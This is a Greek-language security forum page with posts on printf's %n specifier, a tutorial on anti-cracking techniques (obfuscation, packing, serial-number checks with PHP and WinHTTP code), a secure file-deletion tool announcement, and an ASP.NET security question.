Πράγματι, κάνοντας χρήση της %n μέσα από προγράμματα C++ σε VS2005,2010 σε XP,Vista,7 το πρόγραμμα απλά κρασάρει στο runtime ενώ περνάει κανονικά compile. Ίδιο ακριβώς πρόγραμμα λειτουργεί μια χαρά σε linux περιβάλλον. Αυτο το λέω για να μην θεωρηθεί οτι γίνεται κακή χρήση της %n.

Από πλευράς security η παράμετρος %n έχει χρησιμοποιηθεί κατ' επανάληψη σε Format String επιθέσεις.

Έχει χρησιμοποιήσει κανένας φίλος εδώ, επιτυχώς το %n σε printf, σε κάποιο από τα παραπάνω περιβάλλοντα (C++ σε VS2005,2010 σε XP,Vista,7)?
Αν ναι, μήπως θα είχε την καλοσύνη να μας έδειχνε πώς ή αν έχει ακούσει οτι πράγματι έχει καταργηθεί?

Thnx 4 your time! :)

Τεχνικές Anti-Cracking (part II)

Thiseas — Wed, 10 Mar 2010 07:44:29 GMT

Σύνδεση με τα προηγούμενα... ή αλλιώς «Previously in... Lost» ;-)
Στο προηγούμενο part I - άρθρο, είχαμε ξεκινήσει μια αναφορά στους τρόπους με τους οποίους μπορούμε να κάνουμε το πρόγραμμα μας δύσκολο στο να παραβιαστεί από κάποιον cracker. Όταν λέμε να «παραβιαστεί» εννοούμε να μπορέσει κάποιος, π.χ. κάνοντας disassembly με κάποιον debugger, να διαβάσει, να καταλάβει και να προσπεράσει τις όποιες δικλείδες ασφαλείας βάλαμε για να μην χρησιμοποιηθεί το πρόγραμμα μας χωρίς την απαραίτητη δικαιοδοσία.
Τα βήματα που υποσχεθήκαμε να σας παρουσιάσουμε, για την υλοποίηση του παραπάνω στόχου, είναι τα παρακάτω:
1.   Τεχνικές Anti-Debugging.
2.   Μπέρδεμα του κώδικα ώστε να μην μπορεί να κατανοηθεί εύκολα (code obfuscation).
3.   Packing του εκτελέσιμου και self-encryption.
4.   Δημιουργία αλγόριθμου για την απόδειξη της γνησιότητας ενός serial number (serial number authentication).
Στο προηγούμενο άρθρο, αναφερθήκαμε στο βήμα 1, παρουσιάζοντας και αρκετό κώδικα για να μπορέσετε να τον χρησιμοποιήσετε κι εσείς. Σε αυτό το άρθρο θα «μιλήσουμε» για τα εξίσου σημαντικά βήματα 2,3 και 4. Ας ξεκινήσουμε...

Μπέρδεμα του κώδικα (code obfuscation)
Το μπέρδεμα του κώδικα (http://is.gd/7IxS) είναι μια αρκετά παλιά τεχνική η οποία τον τελευταίο καιρό είναι της «μόδας» λόγω των VM-Executables (Virtual Machines) όπως είναι ο εκτελέσιμος κώδικας που «γεννάει» η Java ή η C# (βλέπε .Net Application Framework). Ο βασικός στόχος είναι να δημιουργηθεί ένα πρόγραμμα τόσο δύσκολο στην κατανόηση ώστε να αποθαρρύνει και τον πιο υπομονετικό cracker. Σε αυτό το άρθρο, θα επικεντρωθούμε στην δημιουργία ενός εκτελέσιμου του οποίου ο disassembly κώδικας θα οδηγεί σε ένα λαβύρινθο, που ακόμα κι ο ...Θησέας θα τα εύρισκε «σκούρα»! Μπορείτε κάλιστα να ακολουθήσετε τις εμπορικές λύσεις που υπάρχουν πολλές ή μπορείτε να δείτε μια πολύ απλή προσέγγιση εδώ για να γίνει κατανοητή η βασική μεθοδολογία τους, οπότε συνεχίστε να διαβάζετε... ;-)
Πριν ξεκινήσουμε, θα πρέπει να έχουμε στο μυαλό μας μερικούς κανόνες που καλό θα ήτανε να προσπαθούμε να τηρούμε όταν θέλουμε να κρύψουμε πράγματα, από τους crackers.

1.   Να μην υποτιμάμε τον «αντίπαλο». Οι crackers είναι κι αυτοί άνθρωποι, σαν κι εμάς!! Οπότε κι αυτοί διαβάζουν ότι κι εμείς και γνωρίζουν καλά τις τεχνικές code obfuscation. Έτσι, το κρύψιμο του κώδικα δεν θα πρέπει να γίνεται με... φανερό τρόπο!! Δηλαδή, θα πρέπει να προσέχουμε να μην κάνουμε το πρόγραμμα μας τέτοιο ώστε να «φωνάζει» και να λέει: «Ε! Εδώ, αυτό το κομμάτι που διαβάζεις το έχω κάνει επίτηδες δύσκολο, αλλά στην πραγματικότητα δεν κάνει τίποτε το ουσιαστικό, μπορείς να το κάνεις skip!!». Έτσι το μπέρδεμα του κώδικα καλό θα είναι να είναι διακριτικό, χωρίς «χυδαιότητες» (όπως συνήθιζε να γράφει κάποιος παλιός δάσκαλος - [1]).
2.   Να μην κρύβουμε μόνο το κομμάτι που έχει τον κώδικα που (ας πούμε) εξετάζει την γνησιότητα ενός serial-number, διότι είναι σαν να λέμε στον cracker, που να επικεντρωθεί. Το κρύψιμο θα πρέπει να γίνεται σε όλο τον κώδικα του προγράμματος μας και ομοιόμορφα.
3.   Φυσικά, να έχουμε πάντα μια καθαρή έκδοση του κώδικα του προγράμματος μας (clear sources), διότι μετά το κρύψιμο, η συντήρηση του θα είναι από πάρα πολύ δύσκολη έως αδύνατη.
4.   Στο κρύψιμο, να χρησιμοποιούμε οτιδήποτε θα μπορούσε να μπερδέψει τον cracker. Ένας καλός κανόνας είναι να βρούμε μια λίστα με οδηγίες για το πως γράφουμε ευανάγνωστο κώδικα, και να κάνουμε ακριβώς τα αντίθετα.
5.   Ο μπερδεμένος κώδικας να μην είναι εντελώς άχρηστος. Δηλαδή να μην μπορεί κάποιος να παραβλέψει τις εντολές του κάνοντας (ας πούμε ένα JMP - jump) σε μιά άλλη περιοχή, χωρίς συνέπειες. Θα πρέπει να χρησιμοποιούμε global μεταβλητές στις οποίες θα δίνουμε συγκεκριμένες τιμές μέσα σε κάποια συνάρτηση και αργότερα, πολύ αργότερα, θα εξετάζουμε αν αυτές οι μεταβλητές έχουνε τις τιμές που δώσαμε. Αν όχι, σημαίνει οτι κάποιος έχει... «πηδήξει» (με την «καλή» έννοια??) ένα μέρος του κώδικά μας.
6.   Πολλοί είναι αυτοί που λένε να μην γράφετε σχόλια, ή να μην στοιχίζετε σωστά τις εντολές έτσι ο κώδικας θα είναι πολύ δύσκολο να κατανοηθεί. Αυτό δεν είναι εντελώς λάθος, αλλά μόνο αν δίνετε και τον πηγαίο κώδικα και δεν θέλετε να κατανοηθεί πλήρως. Στην περίπτωση μας όμως, δεν ισχύει κάτι τέτοιο, μιας και τα σχόλια ή η στοίχιση δεν εισάγονται στο τελικό εκτελέσιμο αρχείο.

Ας δούμε, λοιπόν, ένα παράδειγμα στην πράξη:
Έστω οτι έχουμε το ακόλουθο πρόγραμμα:
Ζητάμε από τον χρήστη ένα κωδικό και απαντάμε αν αυτός ο κωδικός είναι σωστός, συγκρίνοντας τον με κάποιον σταθερό, που έχουμε μέσα στο πρόγραμμά μας:

#include<stdio.h>

int checkCode(char sCode[500]);

int main(int argc, char *argv[])
{
    char sCode[500];
    
    printf("Enter Code: ");
    scanf("%s", sCode);    
    
    if (checkCode(sCode)){
        printf("Correct!!\n");
    }
    else{
        printf("Fail...!\n");
    }    
    return 0;
}

int checkCode(char sCode[500])
{
    return (!strcmp(sCode,"aygoulaki"));
}

Απ’ οτι βλέπουμε ο σωστός κωδικός είναι "aygoulaki"! Ας δούμε τώρα πως λειτουργεί ένας cracker όταν θα θελήσει να σπάσει των κωδικό μας, έχοντας μόνο το executable πρόγραμμα:
Τρέχει το πρόγραμμα με τον Olly Debugger και διαβάζοντας τον κώδικα ή ψάχνοντας με κάποιο τρόπο οδηγείται στην εντολή που κάνει τον έλεγχο για τον κωδικό. Εκεί, βάζει ένα break point και εκτελεί το πρόγραμμα δίνοτας για κωδικό κάτι άσχετο (πχ. «xeimwnas»). Στην είκόνα 1 φαίνονται τα... αποτελέσματα! Ο κωδικός μας είναι πιο ορατός κι από τον... ήλιο!

Εικόνα 1: Ο κωδικός φαίνεται στους καταχωρητές (επάνω δεξιά) αλλά και στην μνήμη (κάτω).

Ας κρύψουμε όμως, λιγάκι των κώδικα για να δυσκολέψουμε το έργο του. Δείτε το παρακάτω πρόγραμμα που κάνει το ίδιο ακριβώς πράγμα:

#include<stdio.h>

#define K "abcdefghijklmnopqrstuvwxyz"
int checkCode(char sCode[500]);

int main(int argc, char *argv[])
{
    char sCode[500];
    
    printf("Enter Code: ");
    scanf("%s", sCode);
    
    if (checkCode(sCode)){
        printf("Correct!\n");
    }
    else{
        printf("Fail...!\n");
    }
    
    return 0;
}


int checkCode(char sCode[500])
{
    return ( sCode[ 0 ]==K[ 0 ]  && sCode[ 1 ]==K[ 24 ] &&  
             sCode[ 2 ]==K[ 6 ]  && sCode[ 3 ]==K[ 14 ] &&  
             sCode[ 4 ]==K[ 20 ] && sCode[ 5 ]==K[ 11 ] &&  
             sCode[ 6 ]==K[ 0 ]  && sCode[ 7 ]==K[ 10 ] &&  
             sCode[ 8 ]==K[ 8 ] );
}

Το κολπάκι που κάναμε εδώ είναι να μην χρησιμοποιήσουμε σταθερά για τον κωδικό, αλλά να τον κρύψουμε μέσα σε μια μετβλητή φαινομενικά άσχετων χαρακτήρων (την Κ) και να εξάγουμε (εμέσως) μέσα από αυτήν τα γράμματα που αποτελούν τον κωδικό, δηλαδή τα K[ 0 ], K[ 24 ], K[ 6 ], K[ 14 ], K[ 20 ], K[ 11 ], K[ 0 ], K[ 10 ], K[ 8 ], που είναι η λέξη "aygoulaki". Η τελική σύγκριση για τον κωδικό θα πραγματοποιείτε συγκρίνοντας χαρακτήρες (character by character) και όχι character arrays. To αποτέλεσμα του εκτελέσιμου φαίνεται στην εικόνα 2. Απ’ ότι βλέπετε, δεν υπάρχει πουθένα (ούτε στην μνήμη, ούτε στους καταχωρητές) η περίφημη λέξη "aygoulaki". Φυσικά, το να σπάσει και αυτή η κωδικοποίηση είναι κάτι απλό, εφόσων ο cracker αρχίζει να ψάχνει καλύτερα τον κώδικα. Κι εμείς όμως δεν θα τον αφήσουμε παραπονεμένο ;-) θα εμπλουτίσουμε το παραπάνω πρόγραμμα με τις τεχνικές που ήδη αναφέραμε. Δηλαδή θα κάνουμε την function checkCode να καλεί καμιά 20αριά άλλες functions άσχετες, οι οποίες θα κάνουνε ένα σωρό πράξεις και ότι άλλο σκεφτούμε. Π.χ. θα δημιουργούν ένα αρχείο με το όνομα tmp.enc και θα γράφουνε μέσα σε αυτό ένα σωρό χαρακτήρες σε δεκαεξαδική μορφή αφού τους έχουν κάνει XOR κλπ κλπ. Φυσικά η ενέργεια αυτή θα γίνει για να μπερδέψει τον cracker. Επίσης, ο έλεγχος sCode[ 0 ] == K[ 0 ] && sCode[ 1 ] == K[ 24 ]... που είναι και ο πραγματικός έλεγχος, καλό είναι να μην βρίσκεται σε ένα μόνο σημείο και όλος μαζί. Μπορούμε να τον «διασπείρουμε» μέσα στις functions που θα καλέσουμε. Καλό είναι να βρίσκεται σε σημεία μαζί με άλλους ελέγχους (π.χ. τον έλεγχο ύπαρξης του αρχείου "tmp.enc"). Με αυτόν τον τρόπο ο cracker δεν θα μπορέσει εύκολα να καταλάβει ποιά σημεία του κώδικα είναι σημαντικά και ποιά όχι, καθώς τα σημαντικά με τα ασήματα θα «αναμιγνύονται» σε έναν επαναλαμβανόμενο κύκλο, κάνοντας το debugging... από εφιαλτικό έως αδύνατο.

Εικόνα 2: Πού είναι ο κωδικός; Χμ, μάλλον κρύφτηκε, μόνο ο... xeimwnas μας έμεινε.

Packing του εκτελέσιμου και self-encryption
Η μέθοδος αυτή χωρίζεται σε δυο βασικές κατηγορίες:

->   Packing Executables
Είναι η μετατροπή το εκτελέσιμου σε μια συμπιεσμένη μορφή ωστέ να μην μπορεί να διαβαστεί με ένα πρόγραμμα μετατροπής του exe σε αρχείο εντολών assembly. Κατά την εκτέλεση του προγράμματος γίνεται το unpacking στην μνήμη.
Ένας από τους πιο γνωστούς packers είναι ο UPX Packer (http://upx.sourceforge.net/).
Όμως, για κάθε κλειδί υπάρχει κι ένα αντικλείδι, οπότε, δεν θα λέγαμε οτι η μέθοδος αυτή από μόνη της είναι οτι καλύτερο, διότι οι περισσότεροι υποψήφιοι crackers το πρώτο πράγμα που κάνουνε όταν αποφασίσουνε να ασχοληθούνε με το "άθλημα", είναι να κατεβάσουμε όλους τους un packers... του "εμπορίου"... (π.χ. http://www.exetools.com/unpackers.htm). Μια άλλη χρήση των packers είναι και η οικονομία στον δίσκο, μιας και η συμπίεση μπορεί να φτάσει και πάνω από το 200%. Για παράδειγμα, το προγραμαματάκι που φτιάξαμε στο πρώτο μέρος του άρθρου (στο προηγούμενο τεύχος, το rock.exe - το θυμάστε;) συμπιέστηκε με τη χρήση του UPX, από τα 32kb στα 10.5kb. Καθόλου άσχημα!!

->   Τεχνικές self-encryption. Ίσως έχετε διαβάσει για τους λεγόμενους πολυμορφικούς ιούς που έχουν την ικανότητα να πολλαπλασιάζονται κρύβοντας κάθε φορά τον εαυτό τους μέσα στον εαυτό τους!! με μια διαφορετική μορφή κωδικοποίησης. Μπορούμε (ακολουθώντας την ίδια αρχή) να κάνουμε encrypt το πρόγραμμα ή κομμάτια αυτού και να τα κάνουμε decrypt run-time κατά βούληση και κατ' απαίτηση.
Η τεχνική αυτή ήδη έχει εφαρμοστεί στο παραπάνω μικρό προγραμματάκι μας με την μορφή του πίνακα χαρακτήρων Κ. Ο Κωδικός μας "aygoulaki" βρίσκεται κωδικοποιημένος μέσα στην Κ και στην ουσία η συνάρτηση checkCode είναι υπεύθυνη για την αποκωδικοποίηση του. Φυσικά αυτή είναι μια στοιχειώδης κωδικοποίηση και επιλέχτηκε για καθαρά εκπαιδευτικούς λόγους. Θα μπορούσε εύκολα ο πίνακας Κ να είναι κωδικοποιημένος με κάποια γνωστή μορφή κρυπτογράφισης (π.χ. DES) και να αποκρυπτογραφείται κατά την διάρκεια εκτέλεσης του προγράμματος (run time) μέσα στην checkCode. Το θέμα αυτό είναι πραγματικά ενδιαφέρον αλλά και προκλητικό μαζί. Για μια πιο προχωρημένη και λεπτομερή προσέγγιση, μπορείτε να ρίξετε μια ματιά κι εδώ: http://is.gd/7Jei

Serial Number Authentication
Το λεγόμενο SNA υλοποιεί έναν αλγόριθμο πιστοποιήσης αυθεντικότητας. Συνήθως απαιτεί μια σειρά αριθμών σαν είσοδο και σαν έξοδο αναφέρει αν η σειρά είναι γνήσια ή όχι, εφαρμόζοντας μια σειρά πράξεων σε αυτούς τους αριθμούς. Μπορούμε εύκολα να δημιουργήσουμε έναν τέτοιο απλό αλγόριθμο, καθώς και να το υλοποιήσουμε με κάποια γλώσσα προγραμματισμού. Ας δούμε λοιπόν πως γίνεται κάτι τέτοιο:

Περιγραφή Αλγορίθμου:
Ο χρήστης θα εισάγει μια σειρά αριθμών της μορφής: A-B-C-D-E, όπου A, B, C, D, E είναι ακαίρεοι αριθμοί μεγαλύτεροι του μηδενός.
Αν ισχύουν όλα τα παρακάτω:
1.   A=B*C και
2.   D=B+C και
3.   Ε=Mod(Rv(A*B*C*D),A)
τότε η σειρά αριθμών θεωρείτε γνήσια.
Η συνάρτηση Rv επιστρέφει την αντίστροφη σειρά ενός αριθμού, δηλαδή Rv(512)=215.
H συνάρτηση Mod επιστρέφει το υπόλοιπο της διαίρεσης των ορισμάτων της. Πχ. Mod(20,3)=2.
Για παράδειγμα, η σειρά 12-4-3-7-9 είναι μια γνήσια σειρά.

Η υλοποίηση ενός τέτοιου αλγόριθμου μέσα στον κώδικα του εκτελέσιμου δεν ακολουθείται πια στις μέρες μας. Αυτό που συχνά γίνεται είναι ο έλεγχος της γνησιότητας μέσω internet με τον κώδικα αυθεντικοποίησης να βρίσκεται σε έναν server.
Θα σας δείξουμε πως μπορείτε να κάνετε κάτι τέτοιο, δίνοντας το πρόγραμμα τόσο του client όσο και του server. Ο client θεωρούμε οτι θα είναι σε C++ και είναι αυτός που θα ζητάει αυθεντικοποίηση. Ο server θα είναι σε php, και θα είναι αυτός που θα αυθεντικοποιεί, δηλαδή αυτός που θα εξετάζει αν μια σειρά αριθμών είναι γνήσια ή όχι υλοποιώντας τον αλγόριθμό μας.
Θα σας δείξουμε πρώτα το php (sorry δεν το έχω σε asp...yet!) πρόγραμμα του server:

<?php
// Πρόγραμμα checkserial.php
$ser = $_GET["ser"];                 // Παίρνουμε την σειρά αριθμών.
$a = explode  ( "-"  , $ser  ,5 );   // την τοποθετούμε σε ένα πίνακα.
$e = $a[0] * $a[1] * $a[2] * $a[3];  // Βρίσκουμε το Ε κανονικό.
$e_rev = strrev($e);                 // Αναποδογυρίζουμε το Ε.
if (
        ($a[0] == $a[1] * $a[2] ) &&   // Εξετάζουμε το Α.
        ($a[3] == $a[1] + $a[2] ) &&   // Εξετάζουμε το D.
        (fmod($e_rev, $a[0]) == $a[4]) // Εξετάζουμε το E.
     )

    echo "!@#!@#234234!@#!@";       // Στην επιτυχία επιστέφουμε αυτό!
else
    echo "!@#!@#234234!@#!!";       // Στην αποτυχία επιστρέφουμε αυτό!! ;-)
?>

Δίνοντας http://www.o_server_mou.com/checkserial.php?ser=12-4-3-7-9 θα πάρουμε σαν αποτέλεσμα το "!@#!@#234234!@#!!" (σε αποτυχία), ή το "!@#!@#234234!@#!@" σε περίπτωση επιτυχίας! Φυσικά δεν είμαστε και τόσο χαζοί να επιστρέφουμε TRUE/FALSE. Το "!@#!@#234234!@#!@" μπορούμε να το χειριστούμε με τέτοιο τρόπο ώστε να μην φαίνεται εύκολα οτι είναι αποτέλεσμα επιτυχυμένης προσπάθειας μιας και μοιάζει πάρα πολύ με το αποτέλεσμα της αποτυχημένης προσπάθειας. Στην ουσία διαφέρουν μόνο στο τελευταίο ψηφίο. Αυτό είναι ένα πρώτο και πολύ αρχικό στάδιο «κρυψίματος» κώδικα. Φυσικά και εδώ θα μπορούσαμε να στέλνουμε την απάντηση κωδικοποιημένη (κατά MD5) με την χρήση της έτοιμης συνάρτησης της php MD5 (http://gr2.php.net/md5).
Από την άλλη πλευρά, σας δίνουμε τον κώδικα σε Microsoft C++ για να μπορέσετε να καλέσετε το checkserial.php στον παραπάνω server. Σας τον παρουσιάζουμε χωρίς προστασία ή προφύλαξη, για να τον καταλάβετε (κι εσείς, κι εμείς!). Να σημειώσουμε οτι ο server www.o_server_mou.com είναι ένας φανταστικός server. Στην θέση του μπορείτε να βάλετε τον δικό σας.
Ο κώδικας είναι ο ακόλουθος:

#include "windows.h"
#include "winhttp.h"
#include "stdio.h"

int main( int argc, char* argv[] )
{
    HINTERNET hSession;
    HINTERNET hConnect;
    HINTERNET hRequest;
    BOOL httpResult;
    DWORD data;
    DWORD dwSize = sizeof(DWORD);
    LPSTR pszOutBuffer = 0;
    DWORD dwDownloaded;

    // Χρησιμoποιούμε την WinHttpOpen για να ανοίξουμε την σύνδεση.
     hSession = WinHttpOpen( L"An HTTP Call",
                          WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
                          WINHTTP_NO_PROXY_NAME,
                          WINHTTP_NO_PROXY_BYPASS, 0 );

    // Καλούμε τις απαραίτητες παραμέτρους για web access.
    httpResult = WinHttpQueryOption( hSession,
                                   WINHTTP_OPTION_CONNECT_TIMEOUT,
                                   &data,
                                   &dwSize );

    /// Εδώ εισάγουμε τον server.
    hConnect = WinHttpConnect( hSession,
                             L"www.o_server_mou.com",
                             INTERNET_DEFAULT_HTTP_PORT,
                             0 );

    // Ορίσουμε την σειρά αριθμών.
    char code[120] = "123-456";

    //Ορίσουμε το πρόγραμμα που θα καλέσουμε.
    char sGet[200] = "/checkserial.php?ser=";
    
    strcat(sGet, code);

    int len = strlen(sGet)+1;
    wchar_t *wURL_Get = new wchar_t[len];
    if ( wURL_Get == 0 )
     return 0;
    memset(wURL_Get,0,len);
    ::MultiByteToWideChar(  CP_ACP, NULL,sGet, -1, wURL_Get,len );

    // Καλούμε τους HTTP Headers.
    hRequest = WinHttpOpenRequest( hConnect,
                                 L"GET",
                                 wURL_Get,
                                 NULL,
                                 WINHTTP_NO_REFERER,
                                 WINHTTP_DEFAULT_ACCEPT_TYPES,
                                 0 );
                                 
    delete []wURL_Get;

    httpResult = WinHttpSendRequest( hRequest,
                                   WINHTTP_NO_ADDITIONAL_HEADERS,
                                   0,
                                   WINHTTP_NO_REQUEST_DATA,
                                   0,
                                   0,
                                   0 );

    httpResult = WinHttpReceiveResponse( hRequest, NULL );

    dwSize = 0;
    if (!WinHttpQueryDataAvailable( hRequest, &dwSize)){
        printf("Error %u in WinHttpQueryDataAvailable.\n",
                GetLastError());
    }

    // Δημιουργούμε τον χώρο για την απάντηση απο τον server.
    pszOutBuffer = new char[dwSize+1];
    if (pszOutBuffer)
    {
        ZeroMemory(pszOutBuffer, dwSize+1);
        if (!WinHttpReadData( hRequest,
                              (LPVOID)pszOutBuffer,
                              dwSize, &dwDownloaded))
            printf("Error %u in WinHttpReadData.\n",
                    GetLastError());
        else{
            // ΕΔΩ!! ΓΙΝΕΤΑΙ Ο ΕΛΕΓΧΟΣ ΓΙΑ ΤΟ ΑΝ ΑΥΤΟ ΠΟΥ ΔΙΑΒΑΣΑΜΕ
                  // ΕΙΝΑΙ ΣΩΣΤΟ ΚΑΙ... ΝΟΜΙΜΟ!!! ;-)
            if (!strcmp("!@#!@#234234!@#!@", pszOutBuffer))
                printf("Yes!\n");
        }

        delete [] pszOutBuffer;
    }


  // clean up the mess, λέμε!!!
  httpResult = WinHttpCloseHandle( hRequest );
  if( !httpResult )
      printf( "Could not close the hRequest handle.\n" );

  httpResult = WinHttpCloseHandle( hConnect );
  if( !httpResult )
      printf( "Could not close the hConnect handle.\n" );

  httpResult = WinHttpCloseHandle( hSession );
  if( !httpResult )
      printf( "Could not close the hSession handle.\n" );

  return( 0 );
}

Συμπεράσματα
Σε αυτά τα 2 μέρη, είπα να δείξω μερικές πάρα πολύ απλές και εντελώς εκπαιδευτικές μεθόδους δίνοντας και μερικά μικρά παραδείγματα σε κώδικα, για το πως μπορούμε να κάνουμε τα προγράμματα μας πιο ασφαλή και πιο δύσκολα στο να παραβιαστούν. Μην ξεχνάτε όμως, καμιά μέθοδος από μόνη της δεν είναι αρκετή. Πρέπει να συνδιαστούν και να αναμιχθούν και να... επαναληφθούν.
Οι κανόνες που ανάφερα είναι μόνο η αρχή....

Happy Anti-Cracking...

Αναφορές - Βιβλιογραφία
[ 1 ] 8088/8086 Προγραμματισμός και Εφαρμογές για τους IBM PC/XT και συμβατούς, Νίκος Νασούφης.
[ 2 ] "AsProtected Notepad!" By The CodeBreakers-Journal, Vol. 1, No. 2 (2004) (http://is.gd/7Jei)
[ 3 ] Obfuscation (http://is.gd/7Jkq).
[ 4 ] Self-encrypting Code to Protect Against Analysis and Tampering (http://is.gd/7KnZ).
[ 5 ] The Art of Unpacking by Mark Vinsent Yason (http://is.gd/7Kpe)
[ 6 ] Setting Internet Options in WinHTTP (http://is.gd/7KpV)

[Πρώτη Δημοσίευση: Total XakeЯ Magazine #20 (Jan.2009)]

Πραγματική Διαγραφή Αρχείων

Thiseas — Sun, 07 Mar 2010 20:46:02 GMT

Όπως όλοι γνωρίζουμε (κι όσοι δεν γνωρίζουν είναι ευκαιρία να το μάθουν) οτι στο λειτουργικό σύστημα Windows (γενικώς) δεν υπάρχει πραγματική διαγραφή αρχείων. Θα μου πείτε τώρα "Μα φυσικά! Αφού τα αρχεία πηγαίνουν στον κάδο ανακύκλωσης και μπορείς να τα επαναφέρεις ανά πάσα στιγμή..."
Χμ... σωστά, αλλά δεν μιλώ όμως για αυτήν την διαγραφή. Αυτό που λεω είναι οτι, ακόμα κι αν τα διαγράψεις από τον κάδο ανακύκλωσης, αυτά παραμένουν στον δίσκο μέχρι να ξαναγραφτούν (από πάνω) από κάποιο άλλο αρχείο. Αλλά ακόμα κι αν ξαναγραφτούν από πάνω.... πάλι!! μπορείς να τα επαναφέρεις κάνοντας χρήση ειδικών προγραμμάτων ανάκτησης δεδομένων. Κατά την διαγραφή, αυτό που στην πραγματικότητα διαγράφεται είναι η καταχώρηση (είτε στο FAT ή είτε στο NTFS) από τον πίνακα περιεχομένων (να το πω χοντρικά) που έχει κάθε δίσκος για να ξέρει τι αρχεία είναι καταχωρημένα σε αυτόν.

Αυτά καθαυτά τα δεδομένα του διαγραμένου αρχείου παραμένουν αναλοίωτα, αλλά δεν "προστατεύονται" πια από το λειτουργικό σύστημα και μπορεί ανά πάσα στιγμή ο χώρος που καταλαμβάνουν, να δωθεί σε κάποιο άλλο αρχείο.
Εδώ όμως κάπου έρχεται να μας ενοχλήσει (άλλους λίγο, άλλους πολύ) ένα πρόβλημα εμπιστευτικότητας...

Όπως όλοι γνωρίζουμε (κι όσοι δεν γνωρίζουν είναι ευκαιρία να το μάθουν - το είπαμε αυτό, έλεος!!) η εμπιστευτικότητα (ή κατά το ελληνικότερον Confidentiality) είναι ένας από τους βασικούς συντελεστές της ασφάλειας. Σημαίνει με λίγα λόγια οτι κάτι το οποίο αφορά εμένα και δεν θέλω να το δει κάποιος άλλος, τότε δεν θα μπορεί το δει!
Δηστυχώς όμως, τα θέμα με τα διεγραμμένα αρχεία είναι οτι μπορεί να παραβιαστεί η εμπιστευτικότητα τους αν και μόνο αν σβήσω ένα αρχείο το οποίο δεν θα ήθελα να δει κανένας και μετά κάποιος πονηρός αποκτήσει πρόσβαση στο δίσκο μου (με το ζόρι ή... χωρίς) και αρχίσει την... ψαχούλα! Με ειδικά εργαλεία μπορεί να επαναφέρει αρχεία (ακόμα κι αν έχουν ξαναγραφτεί από πάνω ή ακόμα και από προηγούμενα formats!!) τα οποία εγώ τα θεωρώ ιδιωτικά, τα έχω διαγράψει και δεν θέλω να τα δει ούτε να τα επαναφέρει κανείς.
Λύση έχω...?
Ναι έχω!
Υπάρχουν αρκετά προγράμματα που κυκλοφορούν και κάνουν πραγματική διαγραφή των αρχείων, γράφοντας απ΄πάνω δεκάδες φορές άσχετους χαρακτήρες είτε blanks ώστε να μην είναι δυνατή η επαναφορά τους από κάποιο ειδικό εργαλείο. Έχει οριστεί οτι ο μέγιστος αριθμός ξαναγραψίματος που μπορείς να θεωρείσαι ασφαλής, οτι δηλαδή δεν θα μπορέσει κανένα tool να επανακτήσει το αρχείο σου, είναι 35. Δηστυχώς όμως τα περισσότερα προγράμματα που κάνουν πραγματικό deletion έχουν αρκετά μειονεκτήματα:

Μερικά είναι πολύ αργά.
Άλλα δεν διαγράφουν ούτε αλλάζουν το όνομα του αρχείου από το FAT/NTFS.
Άλλα επαναγράφουν το αρχείο μία ή δύο μόνο φορές.
Άλλα επαναγράφουν το αρχείο μόνο με blanks και δεν σου δίνουν την δυνατότητα να ορίσεις εσύ τον χαρακτήρα που θα χρησιμοποιηθεί στην διαδικασία re-write.

Παίρνοντας την αφορμή αυτό το post, είπα να μοιραστώ μαζί σας ένα πρόγραμμα που έχω γράψει για πραγματική διαγραφή αρχείων, στο οποίο προσπάθησα να ξεπεράσω τους παραπάνω περιορισμούς. Το πρόγραμμα το έγραψα σε C# σε .net 3.5 κάνοντας χρήση του δωρεάν πακέτου Express της microsoft.
Το βαπτισα FileKiller. Είναι πλέον σε GNU general public license, ανοιχτό κώδικα (φυσικά) και κάλιστα μπορείτε να το πάρετε και το χρησιμοποιήσετε ή να το ενισχύσετε με δικά σας χαρακτηριστικά.
Βρίσκεται εδω: http://sourceforge.net/projects/filekiller/

Είχε μάλιστα την τιμή να ελεχθεί, να βραβευτεί και να οριστεί σαν γνήσιο Windows Tool με το Softpedia 100% Free Award.

Θεωρώ οτι το πρόγραμμα έχει τα εξής χαρακτηριστικά που δεν τα βρίσκεις συχνά σε αντίστοιχα προγράμματα:
1. Είναι πάρα πολύ γρήγορο.
2. Μπορείς να καθορίσεις πόσα iteration (1 έως 100) θα κάνει το πρόγραμμα κατά την διαγραφή του αρχείου.
3. Μπορείς να καθορίσεις αν κατά την διαγραφή το αρχείο θα γραφτεί με κενά ή με τυχαίους χαρακτήρες ή με κάποιον χαρακτήρα επιλεγμένο από τον χρήστη.
4. Μπορείς να επιλέξεις ταυτόχρονα πολλά αρχεία για διαγραφή από διαφορετικά directories ή δίσκους.
5. Αν κατά την διαγραφή βρεθούν κάποια αρχεία κλειδωμένα ή αρχεία συστήματος που δεν επιτρέπεται να διαγραφούν, τότε το πρόγραμμα διαγράφει μόνο αυτά που μπορεί, αφήνοντας τα άλλα στη θέση τους.
6. Διαγράφει όχι μόνο τα περιεχόμενα ενός αρχείου αλλά αλλοιώνει και το πραγματικό του όνομα στο FAT/NTFS, κάνοντας την ανάκτηση του (ακόμα και με ειδικά εργαλεία) θεωρητικά αδύνατη. Εγώ, τουλάχιστον, όσα γνωστά εργαλεία ανάκτησης δοκίμασα, απέτυχαν όλα.
7. Δεν χρειάζεται setup, κατεβάστε απλά το executable και τρέξτε το (αρκεί να έχετε .net 3.5).

Θα ήταν χαρά μου και τιμή μαζί, να συμμετέχουν κι άλλοι programmers στο μικρό αυτό project-άκι και να διορθώσουν κάποια bugs (αν έχει... που θα έχει δλδ) ή να του προσδώσουν κι άλλα χαρακτηριστικά σεβόμενοι πάντα την GNU License.

Σας ευχαριστώ

Ασφάλεια asp.net εφαρμογών

deykas — Sun, 10 Jun 2007 04:14:19 GMT

Χρειάζομαι έναν προσανατολισμό σχετικά με θέματα ασφάλειας που πρέπει να προσέξει κάποιος σε μία asp.net (με sql server) εφαρμογή.
Ποιοι είναι οι κίνδυνοι για τους οποίους πρέπει κάποιος να ανησυχεί; Από τη βάση δεδομένων μέχρι τον κώδικα.
Η ερώτηση είναι πολύ γενική, αλλά θέλω ένα μπούσουλα για να ξεκινήσω.
ευχαριστώ.

Τεχνικές Anti-Cracking (Part I)

Thiseas — Sat, 06 Mar 2010 22:07:52 GMT

